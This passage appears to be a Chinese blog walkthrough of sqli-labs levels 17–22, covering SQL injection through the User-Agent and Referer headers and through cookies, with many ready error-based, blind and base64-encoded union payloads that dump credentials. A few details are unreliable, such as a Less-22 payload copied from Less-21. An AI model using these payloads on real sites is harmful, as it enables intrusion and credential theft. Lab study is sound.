echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
check_input() 函数
源码如下,可以明显看到该函数对 uname 参数进行了强效的过滤。首先函数使用了 substr() 函数截取 uname 的前 15 位字符,限制了 uname 的输入长度。接着使用 get_magic_quotes_gpc() 函数判断 “magic_quotes_gpc” 是否是开启的,若是开启的就使用 stripslashes() 函数对单引号、双引号、反斜杠与 NULL等危险的字符进行转义。接着使用 ctype_digit() 函数判断 uname 是否为数字,若不是数字就使用 mysql_real_escape_string() 函数对字符进行转义,否则就使用 intval() 函数把数字转换为整型。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
由此可见对 SELECT 语句的过滤是很强的,我们把通过 uname 参数注入 “a' OR 1 = 1#” 经过滤处理的 SELECT 语句输出来看看。可以看到经过转义,我们无法从该语句进行注入。
但是 UPDATE 语句并没有进行过滤,因此当我们可以绕过 SELECT 语句时,就可以通过 UPDATE 进行注入。为了加深理解,我们把注入后闭合的 UPDATE 语句输出来看看。
UPDATE users SET password = '' OR updatexml(1,concat("!",database()),2)#' WHERE username='admin'
Less-18
POST-Header Injection-Uagent field-Error based (基于错误的用户代理,头部 POST 注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 User Agent。用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
在密码使用上面的所有注入,网页都回显密码修改失败。
注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。
考虑到 Less 17 的经验,推断 uname 和 passwd 字段都进行了强效的过滤,我们注入正确的 uname 和 passwd 之后再次注入。此时发现当注入单引号闭合时,网页返回报错信息。
User-Agent: '
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
获取数据库信息
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
User-Agent: '#
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
User-Agent: ''
在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段名,继续使用 updatexml() 报错注入。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
关卡 Sql 语句
源码如下,不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。
INSERT INTO security
.uagents
(uagent
, ip_address
, username
) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')
Less-19
POST-Header Injection-Referer field-Error based (基于头部的 Referer POST 报错注入)
判断注入类型
首先我们注入正确的用户名和密码,观察到网页回显了 IP Address 和 Referer。引用来源 Referer是 HTTP 头的一个字段,用于告诉服务器该网页是从哪个页面链接过来的。
接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显密码修改失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。
Referer: '
注意到登录成功时,Referer 会被回显到网页上,我们考虑 Referer 头可能会存在注入。使用 brup 抓包,注入正确的 uname 和 passwd 之后在 Referer 头使用单引号闭合。此时发现当注入单引号闭合时,网页返回报错信息。
Referer: '
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
Referer: ''
注入的步骤和 Less 17 差不多,这次我们使用 extractvalue() 报错注入。extractvalue() 报错注入和 updatexml() 报错差不多,extractvalue() 函数时对 XML 文档进行查询的函数。函数原型为:
extractvalue(XML_document, XPath_string)
参数 | 说明 |
---|---|
XML_document | String,XML 文档对象的名称 |
XPath_string | Xpath 格式的字符串 |
爆数据库名,在注入的两个单引号之间放置 extractvalue() 报错注入。 |
Referer: ' OR extractvalue(1,concat("!",database())) OR '
爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'))) OR '
爆字段名,继续使用 extractvalue() 报错注入。
Referer: ' OR extractvalue(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'))) OR '
获取目标信息
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
Referer: ' OR (extractvalue(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)))) OR '
关卡 Sql 语句
此处向数据库插入的是 Referer 头,其他部分和 Less 18 类似。
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')
Less-20
HTTP 头的注入方式
HTTP User-Agent 注入
通过查看配置文件,我们发现http头中的user-agent可以进行sql注入
浏览器进入到less-18发送数据并拦截
修改 User-Agent 字段 添加一个 ’ 单引号
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 ' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
HTTP Referer 注入
1.1 报错注入
Referer: http://192.168.37.136/sqli-labs/Less-19/'and updatexml(1,concat(0x7e,(database()),0x7e),1) and '1'='1
1.2 盲注测试
Referer: http://192.168.37.136/sqli-labs/Less-19/'or(length(database()))=9 or if(1=1,sleep(3),null) or '1'='1
Cookie 注入
Less-20/ 输入 username ,password 输入 admin 并提交
暴表
Cookie: uname=admin' union select 1,2,database() -- #
暴字段
Cookie: uname=admin' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' -- #
暴数据
Cookie: uname=admin' union select 1,2,group_concat(username,0x7e,password)from security.users -- #
Cookie: uname=admin' union select 1,2,group_concat(concat_ws('-',id,username,password)) from users# -- #
Less 21
Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)
判断注入类型
输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
抓登录网页发的包,没有看见什么有用的信息。
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
“%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。
由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。
Cookie: uname=YWRtaW4n
测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。
Cookie: YWRtaW4nKSM=
获取数据库信息
判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。
Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==
爆表名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj
爆字段名。
Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj
获取目标信息
构造出 payload 如下:
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
关卡关键源码
setcookie('uname', base64_encode($row1['username']), time()+3600);
$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);
Less 22
Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)
判断注入类型
判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。
“%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。
在 uname 中使用单引号闭合,网页回显语法错误。
Cookie: uname=YWRtaW4n
测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。
Cookie: YWRtaW4iIw==
获取数据库信息
判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj
接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj
爆表名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=
爆字段名。
Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=
获取目标信息
构造出 payload 如下:
Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj
关卡关键源码
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);
```)
标签:数据库,echo,uname,asan,id,SELECT,注入
From: https://www.cnblogs.com/xiaotianowo/p/18201370